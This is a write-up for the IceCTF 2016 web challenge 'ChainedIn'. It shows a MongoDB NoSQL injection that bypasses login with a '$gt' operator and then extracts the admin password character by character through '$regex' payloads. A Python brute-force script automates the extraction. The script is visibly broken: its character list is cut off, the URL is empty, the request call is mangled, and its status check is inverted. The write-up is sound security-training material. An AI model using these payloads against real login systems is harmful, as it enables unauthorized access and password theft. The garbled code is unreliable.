IceCTF - ChainedIn [Web]

Competition: IceCTF 2016
Challenge Name: ChainedIn
Type: Web
Points: 75 pts

Challenge Description:

I keep getting so much spam from this website. Can you leak the admin password so I can put a stop this nonsense? I made an account for you to help you break in, the username is agent1568 and the password is agent1568  

Starting the challenge off, we are greeted with a splash page with not a lot of content on it. On the bottom of the page we can see that the site is "Powered by MongoDB and AngularJS". Our response headers also show an important header: X-Powered-By:Express, indicating the challenge is using a MEAN stack.

Logging in as agent1568, we can't do anything apart from staring blankly at our username:

Repeating a login request in Burp, we can see 2 useful things:

  1. An incorrect login error message
  2. The request is sending JSON + content-type: application/json header

Testing if the login is vulnerable to NoSQLi, we can see we get logged in as Administrator:

So now that we've logged in as Administrator, we still don't have our flag. Re-reading the challenge description, we're asked to leak the admin password. Unfortunately, I'm not aware of any UNION like alternatives for NoSQL injections. However, because the password is being stored in plain text, we can utilize the messages coming back from the response in conjunction with $regex in our password to brute force the admin password.

By changing the password being sent in the JSON request one letter at a time and then checking the response back from the server, we can calculate the flag/admin password:

{"user":{"$gt":""},"pass":{"$regex":"^f"}}   -- Invalid Credentials
{"user":{"$gt":""},"pass":{"$regex":"^I"}}   -- Welcome back Administrator
{"user":{"$gt":""},"pass":{"$regex":"^Ic"}}  -- Welcome back Administrator
{"user":{"$gt":""},"pass":{"$regex":"^Ica"}} -- Invalid Credentials
{"user":{"$gt":""},"pass":{"$regex":"^Ice"}} -- Welcome back Administrator

As this would be a very long, repetitive manual process, I wrote the following python script to extract the flag:

# IceCTF 2016 - ChainedIn Solution
# Author: menztrual - <>

import requests  
import json  
import time

# Character map for valid characters in the flag name
charMap =  ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',  

url = "" # URL of challenge

finished = False # Set to true when we find the end `}`  
flag = "" # Starting point for our flag  
print "Finding flag..."

while (finished == False):  
    for i in range(0,len(charMap)):
        char = charMap[i]
        header = {'Content-Type': "application/json"}
        payload = {"user":{"$gt": ""}, "pass": {"$regex": "^"+flag + char}}

        r =, data=json.dumps(payload), headers=header)
        if r.status_code == 502:
            # Bad server. Delay and try again.
            result = json.loads(r.content)
            if result['message'] != 'Invalid Credentials':
                flag += char
                i = i + 1
                print flag

                if (char == "}"):
                    finished = True

            if finished == True: break

print "Finished: "  + flag

Flag: IceCTF{I_thOugHT_YOu_coulDNt_inJeCt_noSqL_tHanKs_monGo}


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Melbourne, Australia